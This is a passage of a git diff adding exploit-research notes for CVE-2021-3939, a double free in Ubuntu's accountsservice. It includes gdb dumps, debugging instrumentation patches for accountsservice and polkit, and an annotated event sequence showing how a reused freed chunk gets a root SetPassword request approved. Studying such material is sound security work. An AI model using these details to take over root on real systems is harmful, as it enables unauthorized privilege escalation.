+0x7f2620ca2690 <checkauthdata_table+112>:	0x0000564cfbc81c10	0x0000564cfbc903e0
+0x7f2620ca26a0 <checkauthdata_table+128>:	0x0000564cfbc81e00	0x0000564cfbc81e00
+0x7f2620ca26b0 <checkauthdata_table+144>:	0x0000564cfbd1cfe0	0x0000564cfbc927e0
+0x7f2620ca26c0 <checkauthdata_table+160>:	0x0000564cfbd102d0	0x0000564cfbc7a600
+0x7f2620ca26d0 <checkauthdata_table+176>:	0x0000564cfbd11a40	0x0000564cfbd1e740
+0x7f2620ca26e0 <checkauthdata_table+192>:	0x0000564cfbc7fc20	0x0000564cfbd23e80
+0x7f2620ca26f0 <checkauthdata_table+208>:	0x0000564cfbcd6bd0	0x0000564cfbc8e4c0
+0x7f2620ca2700 <checkauthdata_table+224>:	0x0000564cfbd23f00	0x0000564cfbd21cb0
+0x7f2620ca2710 <checkauthdata_table+240>:	0x0000564cfbc83800	0x0000564cfbd15f10
+0x7f2620ca2720 <checkauthdata_table+256>:	0x0000564cfbd1f2e0	0x0000564cfbd16ac0
+0x7f2620ca2730 <checkauthdata_table+272>:	0x0000564cfbc85ce0	0x0000564cfbd0f6a0
+0x7f2620ca2740 <checkauthdata_table+288>:	0x0000564cfbc7e590	0x0000564cfbd1d350
+0x7f2620ca2750 <checkauthdata_table+304>:	0x0000564cfbd18020	0x0000564cfbd17e30
+0x7f2620ca2760 <checkauthdata_table+320>:	0x0000564cfbd13030	0x0000564cfbd23ea0
+0x7f2620ca2770 <checkauthdata_table+336>:	0x0000564cfbd17ef0	0x0000564cfbd19310
+0x7f2620ca2780 <checkauthdata_table+352>:	0x0000564cfbc81e00	0x0000564cfbd26320
+0x7f2620ca2790 <checkauthdata_table+368>:	0x0000564cfbd18100	0x0000564cfbd17b60
+0x7f2620ca27a0 <checkauthdata_table+384>:	0x0000564cfbd28460	0x0000564cfbc8e4c0
+0x7f2620ca27b0 <checkauthdata_table+400>:	0x0000564cfbd194a0	0x0000564cfbd284e0
+0x7f2620ca27c0 <checkauthdata_table+416>:	0x0000564cfbd275d0	0x0000564cfbd29380
+0x7f2620ca27d0 <checkauthdata_table+432>:	0x0000564cfbd21c40	0x0000564cfbd19630
+0x7f2620ca27e0 <checkauthdata_table+448>:	0x0000564cfbd17d20	0x0000564cfbd1c3e0
+0x7f2620ca27f0 <checkauthdata_table+464>:	0x0000564cfbd293a0	0x0000564cfbc8e4c0
+0x7f2620ca2800 <checkauthdata_table+480>:	0x0000564cfbd1e790	0x0000564cfbd2aec0
+0x7f2620ca2810 <checkauthdata_table+496>:	0x0000564cfbd2af70	0x0000564cfbd2d8f0
+0x7f2620ca2820 <checkauthdata_table+512>:	0x0000564cfbd2d9e0	0x0000564cfbd2da70
+0x7f2620ca2830 <checkauthdata_table+528>:	0x0000564cfbd262a0	0x0000564cfbd2dd50
+0x7f2620ca2840 <checkauthdata_table+544>:	0x0000564cfbd2abd0	0x0000564cfbd2bc90
+0x7f2620ca2850 <checkauthdata_table+560>:	0x0000564cfbd2cbe0	0x0000564cfbd2e2d0
+0x7f2620ca2860 <checkauthdata_table+576>:	0x0000564cfbd2ae40	0x0000564cfbd2d800
+0x7f2620ca2870 <checkauthdata_table+592>:	0x0000564cfbd2e270	0x0000564cfbd30430
+0x7f2620ca2880 <checkauthdata_table+608>:	0x0000564cfbd31210	0x0000564cfbd32820
+0x7f2620ca2890 <checkauthdata_table+624>:	0x0000564cfbd310a0	0x0000564cfbd2cad0
+0x7f2620ca28a0 <checkauthdata_table+640>:	0x0000564cfbd1e390	0x0000564cfbd1e390
+0x7f2620ca28b0 <checkauthdata_table+656>:	0x0000564cfbd262c0	0x0000564cfbd2c820
+0x7f2620ca28c0 <checkauthdata_table+672>:	0x0000564cfbd31280	0x0000564cfbd32d50
+0x7f2620ca28d0 <checkauthdata_table+688>:	0x0000564cfbc829a0	0x0000564cfbd1ccd0
+0x7f2620ca28e0 <checkauthdata_table+704>:	0x0000564cfbd2e040	0x0000564cfbd13050
+0x7f2620ca28f0 <checkauthdata_table+720>:	0x0000564cfbd352f0	0x0000564cfbd35780
+0x7f2620ca2900 <checkauthdata_table+736>:	0x0000564cfbd32c80	0x0000564cfbd364d0
+0x7f2620ca2910 <checkauthdata_table+752>:	0x0000564cfbd28480	0x0000564cfbd364f0
+0x7f2620ca2920 <checkauthdata_table+768>:	0x0000564cfbd34270	0x0000564cfbd35520
+0x7f2620ca2930 <checkauthdata_table+784>:	0x0000564cfbd32ae0	0x0000564cfbd34080
+0x7f2620ca2940 <checkauthdata_table+800>:	0x0000564cfbd34300	0x0000564cfbd37310
+0x7f2620ca2950 <checkauthdata_table+816>:	0x0000564cfbd36310	0x0000564cfbd362a0
+0x7f2620ca2960 <checkauthdata_table+832>:	0x0000564cfbd37680	0x0000564cfbd35760
+0x7f2620ca2970 <checkauthdata_table+848>:	0x0000564cfbd38300	0x0000564cfbd34650
+0x7f2620ca2980 <checkauthdata_table+864>:	0x0000564cfbd3b7e0	0x0000564cfbd3a580
+0x7f2620ca2990 <checkauthdata_table+880>:	0x0000564cfbd393a0	0x0000564cfbd35570
+0x7f2620ca29a0 <checkauthdata_table+896>:	0x0000564cfbd3c410	0x0000564cfbd3c430
+0x7f2620ca29b0 <checkauthdata_table+912>:	0x0000564cfbc81670	0x0000564cfbd3c5a0
+0x7f2620ca29c0 <checkauthdata_table+928>:	0x0000564cfbd3b450	0x0000564cfbd38470
+0x7f2620ca29d0 <checkauthdata_table+944>:	0x0000564cfbd3ed50	0x0000564cfbd0f440
+0x7f2620ca29e0 <checkauthdata_table+960>:	0x0000564cfbc847c0	0x0000564cfbd3eff0
+0x7f2620ca29f0 <checkauthdata_table+976>:	0x0000564cfbd39b30	0x0000564cfbd39330
+0x7f2620ca2a00 <checkauthdata_table+992>:	0x0000564cfbd327c0	0x0000564cfbd402c0
+0x7f2620ca2a10 <checkauthdata_table+1008>:	0x0000564cfbd40430	0x0000564cfbd40240
+0x7f2620ca2a20 <checkauthdata_table+1024>:	0x0000564cfbd41300	0x0000564cfbd3ee60
+0x7f2620ca2a30 <checkauthdata_table+1040>:	0x0000564cfbd414a0	0x0000564cfbd41400
+0x7f2620ca2a40 <checkauthdata_table+1056>:	0x0000564cfbd43ad0	0x0000564cfbd43300
+0x7f2620ca2a50 <checkauthdata_table+1072>:	0x0000564cfbd41080	0x0000564cfbd3edc0
+0x7f2620ca2a60 <checkauthdata_table+1088>:	0x0000564cfbd44740	0x0000564cfbd44320
+0x7f2620ca2a70 <checkauthdata_table+1104>:	0x0000564cfbd43370	0x0000564cfbd41030
+0x7f2620ca2a80 <checkauthdata_table+1120>:	0x0000564cfbd323f0	0x0000564cfbd41620
+0x7f2620ca2a90 <checkauthdata_table+1136>:	0x0000564cfbd446e0	0x0000564cfbd3ef30
+0x7f2620ca2aa0 <checkauthdata_table+1152>:	0x0000564cfbd47450	0x0000564cfbd474d0
+0x7f2620ca2ab0 <checkauthdata_table+1168>:	0x0000564cfbd44610	0x0000564cfbd47470
+0x7f2620ca2ac0 <checkauthdata_table+1184>:	0x0000564cfbc903e0	0x0000564cfbd476a0
+0x7f2620ca2ad0 <checkauthdata_table+1200>:	0x0000564cfbd493e0	0x0000564cfbd49590
+0x7f2620ca2ae0 <checkauthdata_table+1216>:	0x0000564cfbd47410	0x0000564cfbd498b0
+0x7f2620ca2af0 <checkauthdata_table+1232>:	0x0000564cfbd323d0	0x0000564cfbd47110
+0x7f2620ca2b00 <checkauthdata_table+1248>:	0x0000564cfbc927e0	0x0000564cfbc7a600
+0x7f2620ca2b10 <checkauthdata_table+1264>:	0x0000564cfbd1e740	0x0000564cfbd23e80
+0x7f2620ca2b20 <checkauthdata_table+1280>:	0x0000564cfbc8e4c0	0x0000000000000000
+0x7f2620ca2b30 <checkauthdata_table+1296>:	0x0000000000000000	0x0000000000000000
+
+
+stack trace:
+
+(gdb) where
+#0  0x00007f2620b40a48 in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78
+#1  0x00007f2620b45957 in __GI___nanosleep (req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/nanosleep.c:25
+#2  0x00007f2620b4588e in __sleep (seconds=0) at ../sysdeps/posix/sleep.c:55
+#3  0x0000564cfbadff72 in user_change_password_authorized_cb (daemon=0x564cfbc660f0, user=0x564cfbc8f2f0, context=0x7f26140196a0, data=0x564cfbd17a00) at ../src/user.c:2813
+#4  0x0000564cfbad5f75 in check_auth_cb (authority=0x564cfbd0b440, res=0x564cfbd29a00, data=0x564cfbd1a350) at ../src/daemon.c:1428
+#5  0x00007f2620ed2fe2 in g_simple_async_result_complete (simple=0x564cfbd29a00) at ../../../gio/gsimpleasyncresult.c:802
+#6  0x00007f2620c8bc8b in check_authorization_cb (proxy=0x564cfbc8a510, res=0x564cfbd256e0, user_data=0x564cfbc8e4c0) at /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c:854
+#7  0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd256e0) at ../../../gio/gtask.c:1219
+#8  0x00007f2620ee994b in g_task_return (type=<optimised out>, task=0x564cfbd256e0) at ../../../gio/gtask.c:1289
+#9  g_task_return (task=0x564cfbd256e0, type=<optimised out>) at ../../../gio/gtask.c:1245
+#10 0x00007f2620f5204b in reply_cb (connection=<optimised out>, res=<optimised out>, user_data=user_data@entry=0x564cfbd256e0) at ../../../gio/gdbusproxy.c:2557
+#11 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd14480) at ../../../gio/gtask.c:1219
+#12 0x00007f2620ee994b in g_task_return (type=<optimised out>, task=0x564cfbd14480) at ../../../gio/gtask.c:1289
+#13 g_task_return (task=0x564cfbd14480, type=<optimised out>) at ../../../gio/gtask.c:1245
+#14 0x00007f2620f4220f in g_dbus_connection_call_done (source=<optimised out>, result=<optimised out>, user_data=user_data@entry=0x564cfbd14480) at ../../../gio/gdbusconnection.c:5789
+#15 0x00007f2620ee9749 in g_task_return_now (task=0x564cfbd14540) at ../../../gio/gtask.c:1219
+#16 0x00007f2620ee978d in complete_in_idle_cb (task=0x564cfbd14540) at ../../../gio/gtask.c:1233
+#17 0x00007f2620d007c4 in g_main_dispatch (context=0x564cfbc4ffb0) at ../../../glib/gmain.c:3337
+#18 g_main_context_dispatch (context=0x564cfbc4ffb0) at ../../../glib/gmain.c:4055
+#19 0x00007f2620d53f08 in g_main_context_iterate.constprop.0 (context=0x564cfbc4ffb0, block=block@entry=1, dispatch=dispatch@entry=1, self=<optimised out>) at ../../../glib/gmain.c:4131
+#20 0x00007f2620cffe43 in g_main_loop_run (loop=0x564cfbc50d60) at ../../../glib/gmain.c:4329
+#21 0x0000564cfbad7ba8 in main (argc=1, argv=0x7ffd920901c8) at ../src/main.c:257
+
+threads:
+(gdb) info threads
+  Id   Target Id                                             Frame
+* 1    Thread 0x7f2620465dc0 (LWP 1506348) "accounts-daemon" 0x00007f2620b40a48 in __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffd9208fc30, rem=rem@entry=0x7ffd9208fc30) at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:78
+  2    Thread 0x7f261fef3640 (LWP 1506349) "gmain"           0x00007f2620b73cdf in __GI___poll (fds=0x564cfbc52660, nfds=2, timeout=3998) at ../sysdeps/unix/sysv/linux/poll.c:29
+  3    Thread 0x7f261eef1640 (LWP 1506351) "gdbus"           0x00007f2620b73cdf in __GI___poll (fds=0x7f2610011000, nfds=2, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
+
+
+A more detailed look at some of the stack frames
+
+(gdb) up 1
+#3  0x0000564cfbadff72 in user_change_password_authorized_cb (daemon=0x564cfbc660f0, user=0x564cfbc8f2f0, context=0x7f26140196a0, data=0x564cfbd17a00) at ../src/user.c:2813
+2813	            sleep(1);
+(gdb) info args
+daemon = 0x564cfbc660f0
+user = 0x564cfbc8f2f0
+context = 0x7f26140196a0
+data = 0x564cfbd17a00
+(gdb) info locals
+i = 5190
+strings = 0x564cfbd17a00
+error = 0x0
+argv = {0x564cfbaf277d "/usr/sbin/usermod", 0x564cfbaf2a07 "-p", 0x564cfbd2bc40 "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB", 0x564cfbaf2318 "--", 0x564cfbd0f5a0 "root", 0x0}
+(gdb) p *daemon
+Python Exception <class 'TypeError'>: can only concatenate str (not "NoneType") to str
+$5 = {parent = {parent_instance = {parent_instance = {g_type_instance = {g_class = }, ref_count = 131, qdata = 0x0}, priv = 0x564cfbc660c0}, priv = 0x564cfbc66090}}
+(gdb) p *user
+Python Exception <class 'TypeError'>: can only concatenate str (not "NoneType") to str
+$6 = {parent = {parent_instance = {parent_instance = {g_type_instance = {g_class = }, ref_count = 69, qdata = 0x564cfbd323a0}, priv = 0x564cfbc8f2c0}, priv = 0x564cfbc8f290}, system_bus_connection = 0x564cfbc60050, object_path = 0x0, daemon = 0x564cfbc660f0, keyfile = 0x564cfbc6fc50, gid = 0, expiration_time = -1, last_change_time = 18954, min_days_between_changes = 0, max_days_between_changes = 99999, days_to_warn = 7, days_after_expiration_until_lock = -1, login_history = 0x0, icon_file = 0x0, default_icon_file = 0x564cfbc84e00 "/root/.face", account_expiration_policy_known = 1, cached = 0, extension_ids = 0x0, n_extension_ids = 0, changed_timeout_id = 0}
+(gdb) p *context
+$7 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc63070 [g_type: None]}, ref_count = 1, qdata = 0x7f2614020f50}, sender = 0x7f261401eb30 ":1.40040", object_path = 0x7f2614020ef0 "/org/freedesktop/Accounts/User0", interface_name = 0x7f2614020f20 "org.freedesktop.Accounts.User", method_name = 0x7f2614020e10 "SetPassword", method_info = 0x564cfbafe4a0 <_accounts_user_method_info_set_password>, property_info = 0x0, connection = 0x564cfbc60050, message = 0x7f2614013370, parameters = 0x7f261401cd20, user_data = 0x564cfbc8f2f0}
+(gdb) p strings
+$8 = (gchar **) 0x564cfbd17a00
+(gdb) p strings[0]
+$9 = (gchar *) 0x564cfbd2bc40 "$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB"
+(gdb) p strings[1]
+$10 = (gchar *) 0x564cfbd1a490 "GoldenEye"
+
+(gdb) up 1
+#4  0x0000564cfbad5f75 in check_auth_cb (authority=0x564cfbd0b440, res=0x564cfbd29a00, data=0x564cfbd1a350) at ../src/daemon.c:1428
+warning: Source file is more recent than executable.
+1428	                (* cad->authorized_cb) (cad->daemon,
+(gdb) info args
+authority = 0x564cfbd0b440
+res = 0x564cfbd29a00
+data = 0x564cfbd1a350
+(gdb) info locals
+cad = 0x564cfbd1a350
+result = 0x564cfbd10840
+error = 0x0
+is_authorized = 1
+(gdb) p *authority
+$11 = {parent_instance = {g_type_instance = {g_class = 0x564cfbd0af90 [g_type: None]}, ref_count = 261, qdata = 0x0}, name = 0x0, version = 0x0, proxy = 0x564cfbc8a510, cancellation_id_counter = 0, initialized = 1, initialization_error = 0x0}
+(gdb) p *res
+$12 = <incomplete type>
+(gdb) p *cad
+$13 = {daemon = 0x564cfbc660f0, user = 0x564cfbc8f2f0, authorized_cb = 0x564cfbadfd3d <user_change_password_authorized_cb>, context = 0x7f26140196a0, data = 0x564cfbd17a00, destroy_notify = 0x564cfbae008d <free_passwords>}
+(gdb) p *result
+$14 = {parent_instance = {g_type_instance = {g_class = 0x564cfbd1e920 [g_type: None]}, ref_count = 1, qdata = 0x0}, is_authorized = 1, is_challenge = 0, details = 0x564cfbc6c0a0}
+
+(gdb) up 1
+#5  0x00007f2620ed2fe2 in g_simple_async_result_complete (simple=0x564cfbd29a00) at ../../../gio/gsimpleasyncresult.c:802
+802	      simple->callback (simple->source_object,
+(gdb) info args
+simple = 0x564cfbd29a00
+(gdb) info locals
+current_source = <optimised out>
+current_context = <optimised out>
+__func__ = "g_simple_async_result_complete"
+(gdb) p *simple
+$15 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc62790 [g_type: None]}, ref_count = 1, qdata = 0x0}, source_object = 0x564cfbd0b440, callback = 0x564cfbad5e39 <check_auth_cb>, user_data = 0x564cfbd1a350, context = 0x564cfbc4ffb0, error = 0x0, failed = 0, handle_cancellation = 1, check_cancellable = 0x0, source_tag = 0x7f2620c8bce1 <polkit_authority_check_authorization>, op_res = {v_pointer = 0x564cfbd10840, v_boolean = -70186944, v_ssize = 94888642283584}, destroy_op_res = 0x7f2620e019f0 <g_object_unref>}
+
+(gdb) up 1
+#6  0x00007f2620c8bc8b in check_authorization_cb (proxy=0x564cfbc8a510, res=0x564cfbd256e0, user_data=0x564cfbc8e4c0) at /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c:854
+warning: Source file is more recent than executable.
+854	  g_simple_async_result_complete (data->simple);
+(gdb) info args
+proxy = 0x564cfbc8a510
+res = 0x564cfbd256e0
+user_data = 0x564cfbc8e4c0
+(gdb) info locals
+data = 0x564cfbc8e4c0
+value = 0x7f261405c440
+error = 0x0
+(gdb) p *proxy
+$16 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc5a730 [g_type: None]}, ref_count = 131, qdata = 0x564cfbd0ae80}, priv = 0x564cfbc8a4a0}
+(gdb) p *res
+$17 = <incomplete type>
+(gdb) p *data
+$18 = {authority = 0x564cfbd0b440, simple = 0x564cfbd29a00, cancellation_id = 0x0}
+(gdb) p *value
+$19 = {type_info = 0x7f261402fc30, size = 18446744073709551615, contents = {serialised = {bytes = 0x564cfbd49ca0, data = 0x1}, tree = {children = 0x564cfbd49ca0, n_children = 1}}, state = 4, ref_count = 1, depth = 0}
+
+
+The double free happens at address 0x564cfbc8e4c0. Notice that the CheckAuthData struct has been allocated at that address (in the check_authorization_cb) stack frame. Notice that that address also appears multiple times in checkauthdata_table, so it has been used multiple times to store a CheckAuthData struct.
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md
new file mode 100644
index 0000000..44d7d19
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md
@@ -0,0 +1,185 @@
+# Instrumentation added to accountsservice (in `src/user.c`)
+
+```
+--- src/user.c	2021-12-09 13:13:26.393957784 +0000
++++ /home/kev/projects/accountsservice/accountsservice-0.6.55/src/user.c	2021-12-09 13:10:51.817419407 +0000
+@@ -87,6 +87,23 @@
+ 
+ G_DEFINE_TYPE_WITH_CODE (User, user, ACCOUNTS_TYPE_USER_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_USER, user_accounts_user_iface_init));
+ 
++enum LogEntryType {
++  LOGENTRY_FALLBACK_VALUE,
++  LOGENTRY_SET_EMAIL,
++  LOGENTRY_SET_EMAIL_CB,
++  LOGENTRY_SET_LANGUAGE,
++  LOGENTRY_SET_LANGUAGE_CB,
++  LOGENTRY_SET_PASSWORD,
++  LOGENTRY_SET_PASSWORD_CB
++};
++
++struct LogEntry {
++  enum LogEntryType type_;
++};
++
++struct LogEntry logentries[0x1000];
++size_t logentry_pos = 0;
++
+ static gint
+ account_type_from_pwent (struct passwd *pwent)
+ {
+@@ -1116,6 +1133,11 @@
+ {
+         gchar *email = data;
+ 
++        {
++          struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF];
++          e->type_ = LOGENTRY_SET_EMAIL_CB;
++        }
++
+         if (g_strcmp0 (accounts_user_get_email (ACCOUNTS_USER (user)), email) != 0) {
+                 accounts_user_set_email (ACCOUNTS_USER (user), email);
+ 
+@@ -1136,6 +1158,11 @@
+         int uid;
+         const gchar *action_id;
+ 
++        {
++          struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF];
++          e->type_ = LOGENTRY_SET_EMAIL;
++        }
++
+         if (!get_caller_uid (context, &uid)) {
+                 throw_error (context, ERROR_FAILED, "identifying caller failed");
+                 return FALSE;
+@@ -1356,6 +1383,13 @@
+         g_free (lang);
+         g_free (lctime);
+ 
++        g_warning("fallback_value (%s): %p", property, fallback_value);
++
++        {
++          struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF];
++          e->type_ = LOGENTRY_FALLBACK_VALUE;
++        }
++
+         return fallback_value;
+ }
+ 
+@@ -1518,6 +1552,11 @@
+ {
+         const gchar *language = data;
+ 
++        {
++          struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF];
++          e->type_ = LOGENTRY_SET_LANGUAGE_CB;
++        }
++
+         if (!user_HOME_available (user)) {
+ 
+                 /* SetLanguage was probably called from a login greeter,
+@@ -1568,6 +1607,11 @@
+         int uid;
+         const gchar *action_id;
+ 
++        {
++          struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF];
++          e->type_ = LOGENTRY_SET_LANGUAGE;
++        }
++
+         if (!get_caller_uid (context, &uid)) {
+                 throw_error (context, ERROR_FAILED, "identifying caller failed");
+                 return FALSE;
+@@ -2697,6 +2741,11 @@
+         g_autoptr(GError) error = NULL;
+         const gchar *argv[6];
+ 
++        {
++          struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF];
++          e->type_ = LOGENTRY_SET_PASSWORD_CB;
++        }
++
+         sys_log (context,
+                  "set password and hint of user '%s' (%d)",
+                  accounts_user_get_user_name (ACCOUNTS_USER (user)),
+@@ -2716,6 +2765,21 @@
+                 return;
+         }
+ 
++        {
++          size_t i;
++          for (i = 0; i < logentry_pos; i++) {
++            struct LogEntry* e = &logentries[i];
++            g_warning("logentry %ld: %d", i, e->type_);
++          }
++        }
++
++        {
++          size_t i;
++          for (i = 0; i < 0xFFFFFFFF00000000; i++) {
++            sleep(1);
++          }
++        }
++
+         accounts_user_set_password_mode (ACCOUNTS_USER (user), PASSWORD_MODE_REGULAR);
+         accounts_user_set_locked (ACCOUNTS_USER (user), FALSE);
+         accounts_user_set_password_hint (ACCOUNTS_USER (user), strings[1]);
+@@ -2745,6 +2809,11 @@
+         const gchar *action_id;
+         gint uid;
+ 
++        {
++          struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF];
++          e->type_ = LOGENTRY_SET_PASSWORD;
++        }
++
+         if (!get_caller_uid (context, &uid)) {
+                 throw_error (context, ERROR_FAILED, "identifying caller failed");
+                 return FALSE;
+```
+
+
+# Instrumentation added to polkit (in `src/polkit/polkitauthority.c`)
+
+```
+--- policykit-1-0.105/src/polkit/polkitauthority.c      2021-11-22 21:46:51.000000000 +0000
++++ /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c    2021-12-09 13:18:52.543505054 +0000
+@@ -770,6 +770,14 @@
+   gchar *cancellation_id;
+ } CheckAuthData;
+ 
++
++struct CheckAuthDataInfo {
++  CheckAuthData* data_;
++};
++
++struct CheckAuthDataInfo checkauthdata_table[0x1000];
++checkauthdata_pos = 0;
++
+ static void
+ cancel_check_authorization_cb (GDBusProxy    *proxy,
+                                GAsyncResult  *res,
+@@ -800,6 +808,11 @@
+   GVariant *value;
+   GError *error;
+ 
++  {
++    struct CheckAuthDataInfo* e = &checkauthdata_table[checkauthdata_pos++ & 0xFFF];
++    e->data_ = data;
++  }
++
+   error = NULL;
+   value = g_dbus_proxy_call_finish (proxy, res, &error);
+   if (value == NULL)
+@@ -907,6 +920,11 @@
+                                             callback,
+                                             user_data,
+                                             polkit_authority_check_authorization);
++  {
++    struct CheckAuthDataInfo* e = &checkauthdata_table[checkauthdata_pos++ & 0xFFF];
++    e->data_ = data;
++  }
++
+   G_LOCK (the_lock);
+   if (cancellable != NULL)
+     data->cancellation_id = g_strdup_printf ("cancellation-id-%d", authority->cancellation_id_counter++);
+```
\ No newline at end of file
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt
new file mode 100644
index 0000000..ce009f9
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt
@@ -0,0 +1,166 @@
+This sequence of events is derived from the tracing data gathered
+in logentries and checkauthdata_table (see info.txt).
+
+000: user_get_fallback_value (Language) 
+001: user_get_fallback_value (FormatsLocale)
+002: 0x0000564cfbd1f970 set language    (2x) \
+003: 0x0000564cfbd1f970 set language cb (2x) /  <=== trigger bug (1st time)
+004: 0x0000564cfbd0efd0 set email       (2x) \
+005: 0x0000564cfbd0efd0 set email cb    (2x) /
+006: 0x0000564cfbc8e4c0 set password    (5x)    <=== [vuln chunk] gets denied (051)
+007: 0x0000564cfbd1f930 set email       (2x) \
+008: 0x0000564cfbd1f930 set email cb    (2x) /
+009: 0x0000564cfbd1e390 set password    (3x)    <=== gets denied (082)
+010: 0x0000564cfbd1cc80 set email       (2x) \
+011: 0x0000564cfbd1cc80 set email cb    (2x) /
+012: 0x0000564cfbc81670 set password    (2x)    <=== gets denied (116)
+013: 0x0000564cfbd20800 set language    (2x) \
+014: 0x0000564cfbd20800 set language cb (2x) /  <=== trigger bug (2nd time)
+015: 0x0000564cfbc81c10 set email       (2x) \
+016: 0x0000564cfbc81c10 set email cb    (2x) /
+017: 0x0000564cfbc903e0 set password    (2x)    <=== gets denied (150)
+018: 0x0000564cfbc81e00 set email       (3x) \
+019: 0x0000564cfbc81e00 set email cb    (3x) /
+020: 0x0000564cfbd1cfe0 set password    (1x)
+021: 0x0000564cfbc927e0 set email       (2x)    <=== gets approved (158)
+022: 0x0000564cfbd102d0 set password    (1x)
+023: 0x0000564cfbc7a600 set email       (2x)    <=== gets approved (159)
+024: 0x0000564cfbd11a40 set password    (1x)
+025: 0x0000564cfbd1e740 set email       (2x)    <=== gets approved (160)
+026: 0x0000564cfbc7fc20 set password    (1x)
+027: 0x0000564cfbd23e80 set email       (2x)    <=== gets approved (161)
+028: 0x0000564cfbcd6bd0 set password    (1x)
+029: 0x0000564cfbc8e4c0 set email       (5x)    <=== [vuln chunk] gets approved (162), but it also gets overwritten (061)
+030: 0x0000564cfbd23f00 set password    (1x)
+031: 0x0000564cfbd21cb0 set email       (1x) 
+032: 0x0000564cfbc83800 set password    (1x)
+033: 0x0000564cfbd15f10 set email       (1x)
+034: 0x0000564cfbd1f2e0 set password    (1x)
+035: 0x0000564cfbd16ac0 set email       (1x)
+036: 0x0000564cfbc85ce0 set password    (1x)
+037: 0x0000564cfbd0f6a0 set email       (1x)
+038: 0x0000564cfbc7e590 set password    (1x)
+039: 0x0000564cfbd1d350 set email       (1x)
+040: 0x0000564cfbd18020 set password    (1x)
+041: 0x0000564cfbd17e30 set email       (1x)
+042: 0x0000564cfbd13030 set password    (1x)
+043: 0x0000564cfbd23ea0 set email       (1x)
+044: 0x0000564cfbd17ef0 set password    (1x)
+045: 0x0000564cfbd19310 set email       (1x)
+046: 0x0000564cfbc81e00 set password    (3x)    <=== same pointer as 018, but probably not relevant to the exploit
+047: 0x0000564cfbd26320 set email       (1x)
+048: 0x0000564cfbd18100 set password    (1x)
+049: 0x0000564cfbd17b60 set email       (1x)
+050: 0x0000564cfbd28460 set password    (1x)
+051: 0x0000564cfbc8e4c0 set password cb (5x)    <=== [vuln chunk] denied (006)
+052: 0x0000564cfbd194a0 set email       (1x)
+053: 0x0000564cfbd284e0 set password    (1x)
+054: 0x0000564cfbd275d0 set email       (1x)
+055: 0x0000564cfbd29380 set password    (1x)
+056: 0x0000564cfbd21c40 set email       (1x)
+057: 0x0000564cfbd19630 set password    (1x)
+058: 0x0000564cfbd17d20 set email       (1x)
+059: 0x0000564cfbd1c3e0 set password    (1x)
+060: 0x0000564cfbd293a0 set email       (1x)
+061: 0x0000564cfbc8e4c0 set password    (5x)    <=== [vuln chunk] gets approved (161) due to overwriting chunk
+062: 0x0000564cfbd1e790 set email       (1x)
+063: 0x0000564cfbd2aec0 set password    (1x)
+064: 0x0000564cfbd2af70 set email       (1x)
+065: 0x0000564cfbd2d8f0 set password    (1x)
+066: 0x0000564cfbd2d9e0 set email       (1x)
+067: 0x0000564cfbd2da70 set password    (1x)
+068: 0x0000564cfbd262a0 set email       (1x)
+069: 0x0000564cfbd2dd50 set password    (1x)
+070: 0x0000564cfbd2abd0 set email       (1x)
+071: 0x0000564cfbd2bc90 set password    (1x)
+072: 0x0000564cfbd2cbe0 set email       (1x)
+073: 0x0000564cfbd2e2d0 set password    (1x)
+074: 0x0000564cfbd2ae40 set email       (1x)
+075: 0x0000564cfbd2d800 set password    (1x)
+076: 0x0000564cfbd2e270 set email       (1x)
+077: 0x0000564cfbd30430 set password    (1x)
+078: 0x0000564cfbd31210 set email       (1x)
+079: 0x0000564cfbd32820 set password    (1x)
+080: 0x0000564cfbd310a0 set email       (1x)
+081: 0x0000564cfbd2cad0 set password    (1x)
+082: 0x0000564cfbd1e390 set password cb (3x)    <=== denied (009)
+083: 0x0000564cfbd1e390 set email       (3x)    <=== same pointer as 009, but probably not relevant to the exploit
+084: 0x0000564cfbd262c0 set password    (1x)
+085: 0x0000564cfbd2c820 set email       (1x)
+086: 0x0000564cfbd31280 set password    (1x)
+087: 0x0000564cfbd32d50 set email       (1x)
+088: 0x0000564cfbc829a0 set password    (1x)
+089: 0x0000564cfbd1ccd0 set email       (1x)
+090: 0x0000564cfbd2e040 set password    (1x)
+091: 0x0000564cfbd13050 set email       (1x)
+092: 0x0000564cfbd352f0 set password    (1x)
+093: 0x0000564cfbd35780 set email       (1x)
+094: 0x0000564cfbd32c80 set password    (1x)
